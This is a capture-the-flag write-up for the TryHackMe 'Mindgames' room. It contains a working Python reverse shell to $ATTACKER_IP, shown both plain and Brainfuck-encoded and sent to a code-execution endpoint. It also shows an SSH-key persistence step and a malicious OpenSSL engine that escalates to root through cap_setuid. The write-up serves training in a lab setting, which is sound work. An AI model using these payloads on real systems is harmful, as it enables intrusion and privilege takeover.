Mindgames - TryHackMe

Featured image

The Madness Returns

Descent into madness with this expert-level Capture the Flag game from TryHackMe. Mindgames is a new (at the time of writing) free room, pushing your skills, and your mind to the breaking point. There are no guides here, so it’s up to you to research and root the machine to find both flags. I highly recommended to try the Wonderland room before this one. This is a rather unique box, and I also recommend to try it without looking at this writeup, at least don’t look until the mind games get to be too much. Take a break if you get stuck, and take notes. As usual, all flags and passwords have been removed to preserve the suspense. Without further ado, let’s deploy the machine and dive in!

Mapping our Target

As per usual, we’ll start by using our trusty portscanning tool, nmap. Let’s see what’s up:


nmap -sS -A $TARGET_IP
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-10 23:38 CEST
Nmap scan report for $TARGET_IP
Host is up (0.029s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 24:4f:06:26:0e:d3:7c:b8:18:42:40:12:7a:9e:3b:71 (RSA)
|   256 5c:2b:3c:56:fd:60:2f:f7:28:34:47:55:d6:f8:8d:c1 (ECDSA)
|_  256 da:16:8b:14:aa:58:0e:e1:74:85:6f:af:bf:6b:8d:58 (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Mindgames.
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=6/10%OT=22%CT=1%CU=31686%PV=Y%DS=2%DC=T%G=Y%TM=5EE152D
OS:A%P=x86_64-pc-linux-gnu)SEQ(SP=FE%GCD=1%ISR=106%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11
OS:NW7%O6=M508ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(
OS:R=Y%DF=Y%T=40%W=F507%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3306/tcp)
HOP RTT      ADDRESS
1   28.15 ms 10.11.0.1
2   28.22 ms $TARGET_IP

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.02 seconds

Looks like we have a bog-standard HTTP/SSH rig here. We don’t have a username or password yet, so let’s ping the http server.

Exploration


curl $TARGET_IP

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Mindgames.</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" media="screen" href="/main.css">
    <script src="/main.js"></script>
</head>
<body onload="onLoad()">
    <h1>Sometimes, people have bad ideas.</h1>
    <h1>Sometimes those bad ideas get turned into a CTF box.</h1>
    <h1>I'm so sorry.</h1> <!-- That's a lie, I enjoyed making this. -->
    <p>Ever thought that programming was a little too easy? Well, I have just the product for you. Look at the example code below, then give it a go yourself!</p>
    <p>Like it? Purchase a license today for the low, low price of 0.009BTC/yr!</p>
    <h2>Hello, World</h2>
    <pre><code>+[------->++<]>++.++.---------.+++++.++++++.+[--->+<]>+.------.++[->++<]>.-[->+++++<]>++.+++++++..+++.[->+++++<]>+.------------.---[->+++<]>.-[--->+<]>---.+++.------.--------.-[--->+<]>+.+++++++.>++++++++++.</code></pre>
    <h2>Fibonacci</h2>
    <pre><code>--[----->+<]>--.+.+.[--->+<]>--.+++[->++<]>.[-->+<]>+++++.[--->++<]>--.++[++>---<]>+.-[-->+++<]>--.>++++++++++.[->+++<]>++....-[--->++<]>-.---.[--->+<]>--.+[----->+<]>+.-[->+++++<]>-.--[->++<]>.+.+[-->+<]>+.[-->+++<]>+.+++++++++.>++++++++++.[->+++<]>++........---[----->++<]>.-------------.[--->+<]>---.+.---.----.-[->+++++<]>-.[-->+++<]>+.>++++++++++.[->+++<]>++....---[----->++<]>.-------------.[--->+<]>---.+.---.----.-[->+++++<]>-.+++[->++<]>.[-->+<]>+++++.[--->++<]>--.[----->++<]>+.++++.--------.++.-[--->+++++<]>.[-->+<]>+++++.[--->++<]>--.[----->++<]>+.+++++.---------.>++++++++++...[--->+++++<]>.+++++++++.+++.[-->+++++<]>+++.-[--->++<]>-.[--->+<]>---.-[--->++<]>-.+++++.-[->+++++<]>-.---[----->++<]>.+++[->+++<]>++.+++++++++++++.-------.--.--[->+++<]>-.+++++++++.-.-------.-[-->+++<]>--.>++++++++++.[->+++<]>++....[-->+++++++<]>.++.---------.+++++.++++++.+[--->+<]>+.-----[->++<]>.[-->+<]>+++++.-----[->+++<]>.[----->++<]>-..>++++++++++.</code></pre>
    <h2>Try before you buy.</h2>
    <form id="codeForm">
        <textarea id="code" placeholder="Enter your code here..."></textarea><br>
        <button>Run it!</button>
    </form>
    <p></p>
    <label for="outputBox">Program Output:</label>
    <pre id="outputBox"></pre>
</body>
</html>


The Madness Sneaks In

Sorry, not sorry, this is starting well. For those not familiar with esotoric languages, this is Brainfuck. I won’t go into the details where, suffice to say that it’s not the easiest language to understand. Fortunately, there exist online interpreters which can translate the brainfuck to something actually readable. We also have a textbox on the site which promises to execute the code. Let’s take note of that little fact for later :)

So what to we have here?

    
+[------->++<]>++.++.---------.+++++.++++++.+[--->+<]>+.------.++[->++<]>.-[->+++++<]>++.+++++++..+++.[->+++++<]>+.------------.---[->+++<]>.-[--->+<]>---.+++.------.--------.-[--->+<]>+.+++++++.>++++++++++.

Putting it through the interpreter yields:

    
print("Hello, World")

So it looks like we just encoded something straight into brainfuck, In this case hello world.

Let’s look at the second example,

    
--[----->+<]>--.+.+.[--->+<]>--.+++[->++<]>.[-->+<]>+++++.[--->++<]>--.++[++>---<]>+.-[-->+++<]>--.>++++++++++.[->+++<]>++....-[--->++<]>-.---.[--->+<]>--.+[----->+<]>+.-[->+++++<]>-.--[->++<]>.+.+[-->+<]>+.[-->+++<]>+.+++++++++.>++++++++++.[->+++<]>++........---[----->++<]>.-------------.[--->+<]>---.+.---.----.-[->+++++<]>-.[-->+++<]>+.>++++++++++.[->+++<]>++....---[----->++<]>.-------------.[--->+<]>---.+.---.----.-[->+++++<]>-.+++[->++<]>.[-->+<]>+++++.[--->++<]>--.[----->++<]>+.++++.--------.++.-[--->+++++<]>.[-->+<]>+++++.[--->++<]>--.[----->++<]>+.+++++.---------.>++++++++++...[--->+++++<]>.+++++++++.+++.[-->+++++<]>+++.-[--->++<]>-.[--->+<]>---.-[--->++<]>-.+++++.-[->+++++<]>-.---[----->++<]>.+++[->+++<]>++.+++++++++++++.-------.--.--[->+++<]>-.+++++++++.-.-------.-[-->+++<]>--.>++++++++++.[->+++<]>++....[-->+++++++<]>.++.---------.+++++.++++++.+[--->+<]>+.-----[->++<]>.[-->+<]>+++++.-----[->+++<]>.[----->++<]>-..>++++++++++.

    
def F(n):
    if n <= 1:
        return 1
    return F(n-1)+F(n-2)


for i in range(10):
    print(F(i))

This is starting to look suspiciously like Python.

Let’s try executing the examples in the text box given. The first one yields, as expected:

    
Hello, World

The second yields the fibonacci sequence:

    
1
1
2
3
5
8
13
21
34
55

If we looked at our network tab in the dev tools, we see a POST call to /api/bf with the brainfuck code as the body. This can be interesting as we can use curl to save us a bit of trouble.

Gaining a Foothold

So we know that this executes what is likely python code. Let’s see if we can get a reverse shell out of it. From the excellent Payload All The Things We can see a couple python-based reverse shells.

    
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$ATTACKER_IP",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

Using the brainfuck text convertor, we get the following mess:

    
+[----->+++<]>++.++++.+++.-.+++.++.[---->+<]>+++.---[->++++<]>-.----.------------.++++++++.------.[--->+<]>---.[++>---<]>--.-[--->++<]>+.++.+[->+++<]>.++++++++++++++.++.---.------------.++.[--->+<]>----..-[++>---<]>+.-[----->+<]>.++++.+[-->+<]>+.-[->++<]>-.+[-->+<]>+++.---[->++<]>-.----.------------.++++++++.------.[--->+<]>---.[++>---<]>.[--->++<]>-.----.------------.++++++++.------.[--->+<]>---.+[--->+<]>+.--[->+++<]>+.----.------------.++++++++.------.[--->+<]>---.[++>---<]>.--[-->+++<]>-.+++++.[->+++++<]>+.[--->+++++<]>.+++++.---------.>-[--->+<]>-.[-->+<]>++.-[--->++<]>+.----.------------.++++++++.------.[--->+<]>---.[++>---<]>.>-[--->+<]>--.----.[----->+<]>.++++++++.--[----->+++<]>.------------.+.--.-[->++++<]>+.----.++++++++++++.+[-->+<]>++.-[-->+++<]>-.-[->++<]>-.+[++>---<]>.--[--->+<]>-.++++++++++++.-..---------.--.-[--->+<]>--.+[--->+<]>+..------.[-->+++<]>--.-.--.+++..---.+++++++++++.-----------.+++.++++++.-----.+[--->++<]>.++++++++++.++++++++.--.++.--.---------..-[-->+++<]>-.---[->++<]>-.++++.+[++>---<]>.--[--->+<]>.--[--->+<]>-.-----.[->+++++<]>++.----------.--[->+++<]>+.+[++>---<]>.+[--->+<]>+.+++.+++.-------.+++++++++.+.+[++>---<]>.+.+++.++++.-------.-[-->+++<]>-.+[-->+<]>++.+++++[->+++<]>.++++.+[++>---<]>.--[--->+<]>.--[--->+<]>-.-----.[->+++++<]>++.----------.--[->+++<]>+.+[++>---<]>.+[--->+<]>+.+++.+++.-------.+++++++++.+.+[++>---<]>.+.+++.+++++.--------.-[-->+++<]>-.---[->++<]>-.++++.+[++>---<]>.--[--->+<]>.--[--->+<]>-.-----.[->+++++<]>++.----------.--[->+++<]>+.+[++>---<]>.+[--->+<]>+.+++.+++.-------.+++++++++.+.+[++>---<]>.+.+++.++++++.---------.-[-->+++<]>-.[--->+<]>.++++.+++.-.+++.++.[---->+<]>+++.[-->+++++++<]>.++++.+++++.-[-->+<]>-.+[-->+<]>++.[-->+++++++<]>.++++.+++++.-----[++>---<]>.[--->++<]>-.---.[----->++<]>+.+[--->+<]>+.---------.++[++>---<]>.------.+++++++++++++.++[->++<]>.+++++++.+++++.++[->+++++<]>-.++[->++<]>.-.--[--->+<]>--.-----------.--[--->+<]>.+++++++.

First we’ll have to setup a listener. I’m listening on port 4242, but you do whatever you configured in your shell


nc -lvnp 4242

In another terminal, or the web browser, we send our reverse shell code over to the server.


 curl -X POST http://$TARGET_IP/api/bf -d "+[----->+++<]>++.++++.+++.-.+++.++.[---->+<]>+++.---[->++++<]>-.----.------------.++++++++.------.[--->+<]>---.[++>---<]>--.-[--->++<]>+.++.+[->+++<]>.++++++++++++++.++.---.------------.++.[--->+<]>----..-[++>---<]>+.-[----->+<]>.++++.+[-->+<]>+.-[->++<]>-.+[-->+<]>+++.---[->++<]>-.----.------------.++++++++.------.[--->+<]>---.[++>---<]>.[--->++<]>-.----.------------.++++++++.------.[--->+<]>---.+[--->+<]>+.--[->+++<]>+.----.------------.++++++++.------.[--->+<]>---.[++>---<]>.--[-->+++<]>-.+++++.[->+++++<]>+.[--->+++++<]>.+++++.---------.>-[--->+<]>-.[-->+<]>++.-[--->++<]>+.----.------------.++++++++.------.[--->+<]>---.[++>---<]>.>-[--->+<]>--.----.[----->+<]>.++++++++.--[----->+++<]>.------------.+.--.-[->++++<]>+.----.++++++++++++.+[-->+<]>++.-[-->+++<]>-.-[->++<]>-.+[++>---<]>.--[--->+<]>-.++++++++++++.-..---------.--.-[--->+<]>--.+[--->+<]>+..------.[-->+++<]>--.-.--.+++..---.+++++++++++.-----------.+++.++++++.-----.+[--->++<]>.++++++++++.++++++++.--.++.--.---------..-[-->+++<]>-.---[->++<]>-.++++.+[++>---<]>.--[--->+<]>.--[--->+<]>-.-----.[->+++++<]>++.----------.--[->+++<]>+.+[++>---<]>.+[--->+<]>+.+++.+++.-------.+++++++++.+.+[++>---<]>.+.+++.++++.-------.-[-->+++<]>-.+[-->+<]>++.+++++[->+++<]>.++++.+[++>---<]>.--[--->+<]>.--[--->+<]>-.-----.[->+++++<]>++.----------.--[->+++<]>+.+[++>---<]>.+[--->+<]>+.+++.+++.-------.+++++++++.+.+[++>---<]>.+.+++.+++++.--------.-[-->+++<]>-.---[->++<]>-.++++.+[++>---<]>.--[--->+<]>.--[--->+<]>-.-----.[->+++++<]>++.----------.--[->+++<]>+.+[++>---<]>.+[--->+<]>+.+++.+++.-------.+++++++++.+.+[++>---<]>.+.+++.++++++.---------.-[-->+++<]>-.[--->+<]>.++++.+++.-.+++.++.[---->+<]>+++.[-->+++++++<]>.++++.+++++.-[-->+<]>-.+[-->+<]>++.[-->+++++++<]>.++++.+++++.-----[++>---<]>.[--->++<]>-.---.[----->++<]>+.+[--->+<]>+.---------.++[++>---<]>.------.+++++++++++++.++[->++<]>.+++++++.+++++.++[->+++++<]>-.++[->++<]>.-.--[--->+<]>--.-----------.--[--->+<]>.+++++++."

We should now have a reverse shell popped open in out netcat listener. Now this shell isn’t particularily pretty, or nice to use, so we can stabilize it by transferring our public ssh key to the ~/.ssh/authorized_keys file (create it if it doesn’t already exist). With our ssh key transferred, we can connect via ssh and have a proper interactive shell. Copying our ssh key will also make it easier to transfer files over later :)

To do so the copy and paste way:


mkdir ~/.ssh
echo "$THE_OUTPUT_OF_YOUR_id_rsa.pub_FILE_HERE" > ~/.ssh/authorized_keys

You can also do it the clever way by starting up an http server on your machine


cd ~
python3 -m http.server

On the target,


mkdir ~/.ssh
curl http://$ATTACKER_IP:8000/.ssh/id_rsa.pub -o ~/.ssh/authorized_keys
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   396  100   396    0     0   6711      0 --:--:-- --:--:-- --:--:--  6827

Planting our (First) Flag

We’re now on the target machine, and so we can get the user flag:


cd ~
cat user.txt

Enumerate Harder!

We still don’t have a password, and the user was smart enough not to leave it lying around.


find / -xdev -type f -user mindgames 2>/dev/null
/home/mindgames/webserver/server
/home/mindgames/webserver/resources/main.css
/home/mindgames/webserver/resources/index.html
/home/mindgames/webserver/resources/main.js
/home/mindgames/.profile
/home/mindgames/.bashrc
/home/mindgames/user.txt
/home/mindgames/.cache/motd.legal-displayed
/home/mindgames/.bash_logout

This finds only files in the home directory.

Since we have no passwords, we can’t see what we can sudo so that’s out as well.


cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
tryhackme:x:1000:1000:tryhackme:/home/tryhackme:/bin/bash
mindgames:x:1001:1001:,,,:/home/mindgames:/bin/bash

We don’t see any other useful users, so we’ll need to escalate directly to root.

We can enumerate manually (see Payload All the Things) or via script. You can use your script of choice, linpeas, LinEnum, Linux Smart Enumeration, and others exist.

Running our tool(s), we see nothing out of the ordinary, although /usr/bin/openssl has an unusual capability.


getcap / -r 2>/dev/null
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/openssl = cap_setuid+ep
/home/mindgames/webserver/server = cap_net_bind_service+ep

For those that have done the Wonderland box, this may seem familiar. cap_setuid allows the program to set the userid of arbitrary code. This does not mean it runs as root ;). However, openssl is not particularily well known for being able to execute arbitrary code.

GTFObins is a handy resource for seeing how we can get a privilege escalation with common linux binaries. openssl is listed, and we see that we can do quite a bit with this binary:

  • Reverse Shell
  • File Upload
  • File Download
  • Read Files
  • Write Files
  • Library Load
  • SUID Shenanigans
  • Sudo

At first glance things look pretty good! We can try things!

Several Hours Later…

More mindgames :(

The reverse shell, file upload and download all depend on the client/server aspects of openssl, as this program can spin up a (very) basic server. However, the program will run as the user who executed the binary, so while we can create a reverse shell, it will be of no real use, we cannot exploit the capabilities set.

Similarly with the file read/write functionality (used for encrypting and decrypting data) the program will run as the calling user, so no extra permissions there.

The SUID bit isn’t set, and we don’t have sudo, as we don’t have the user’s password. So that leaves the library load option. The example on gtfobins is a bit older, but it mentions a little known functionality of openssl: engines.

Cracking

An OpenSSL Engine is a component that can be used to hook openssl to external cryto implementations, usually linked to hardware devices, like Intel’s TPM, or yubikeys, for example. This function can allow us to plug in a malicious library and execute arbitrary code, in our case we want a shell.

So let’s see how we can create an engine. A quick bit of google-fu leads us to a tutorial on creating a Minimal OpenSSL engine. Neat!

There are allegedly faster ways to do this, but I just followed the tutorial here. The minimal engine code is given as follows:

    
#include <openssl/engine.h>

static int bind(ENGINE *e, const char *id)
{
  return 1;
}

IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()

On load this code will execute the bind function, then immediately return 1. Not terribly useful, so lets add a more useful payload. Rememeber that we have cap_setuid, so that’s probably a start.

    
#include <openssl/engine.h>
#include <unistd.h>

static int bind(ENGINE *e, const char *id)
{
  setuid(0);
  setgid(0);
  system("/bin/bash");
}


IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()

the setuid and setgid functions are found in the unistd.h system header file. The root user is, of course, 0 (we confirmed this earlier when scanning /etc/passwd).

Now all we need to do is to compile this and throw it onto our target.


gcc -fPIC -o ssl-foo.o -c ssl-foo.c
gcc -shared -o ssl-foo.so -lcrypto ssl-foo.o
scp libssl-foo.so mindgames@$TARGET_IP:~/ssl-foo.so
libssl-foo.so                                                                                                                              100%   16KB 267.5KB/s   00:00

On the target machine, let’s get openssl to use our engine


openssl engine ssl-foo
140097082978752:error:25066067:DSO support routines:dlfcn_load:could not load the shared library:../crypto/dso/dso_dlfcn.c:117:filename(/usr/lib/x86_64-linux-gnu/engines-1.1/ssl-foo.so): /usr/lib/x86_64-linux-gnu/engines-1.1/ssl-foo.so: cannot open shared object file: No such file or directory
140097082978752:error:25070067:DSO support routines:DSO_load:could not load the shared library:../crypto/dso/dso_lib.c:162:
140097082978752:error:260B6084:engine routines:dynamic_load:dso not found:../crypto/engine/eng_dyn.c:414:
140097082978752:error:2606A074:engine routines:ENGINE_by_id:no such engine:../crypto/engine/eng_list.c:335:id=ssl-foo

Oh… ok, let’s see how this works.


openssl help engine
Usage: engine [options] engine...
  engine... Engines to load
 -help      Display this summary
 -v         List 'control commands' For each specified engine
 -vv        Also display each command's description
 -vvv       Also add the input flags for each command
 -vvvv      Also show internal input flags
 -c         List the capabilities of specified engine
 -t         Check that specified engine is available
 -tt        Display error trace for unavailable engines
 -pre val   Run command against the ENGINE before loading it
 -post val  Run command against the ENGINE after loading it
            Commands are like "SO_PATH:/lib/libdriver.so"

That doesn’t seem all that helpful. Though one flag says “specified engine” ok, let’s try that


openssl engine -t ./ssl-foo.so
139844140282304:error:25066067:DSO support routines:dlfcn_load:could not load the shared library:../crypto/dso/dso_dlfcn.c:117:filename(/usr/lib/x86_64-linux-gnu/engines-1.1/./ssl-foo.so): /usr/lib/x86_64-linux-gnu/engines-1.1/./ssl-foo.so: cannot open shared object file: No such file or directory
139844140282304:error:25070067:DSO support routines:DSO_load:could not load the shared library:../crypto/dso/dso_lib.c:162:
139844140282304:error:260B6084:engine routines:dynamic_load:dso not found:../crypto/engine/eng_dyn.c:414:
139844140282304:error:2606A074:engine routines:ENGINE_by_id:no such engine:../crypto/engine/eng_list.c:335:id=./ssl-foo.so

It appears to looking in a standard library path for the library. Perhap we need to give it the full path?


openssl engine -t `pwd`/ssl-foo.so
root@mindgames:~#

Oh my.

Let’s check to be sure, and grab the flag.


hostname && id
mindgames
uid=0(root) gid=1001(mindgames) groups=1001(mindgames)
cat /root/root.txt

From the Madness We Return

This is by far one of the more unique and challenging boxes available on TryHackMe. I spent countless hours down rabbit holes and false routes trying things over and over and over again in vain. The mindgames were real and sanity is a scarce resource in this box. Grats to the creator for another excellent challenge!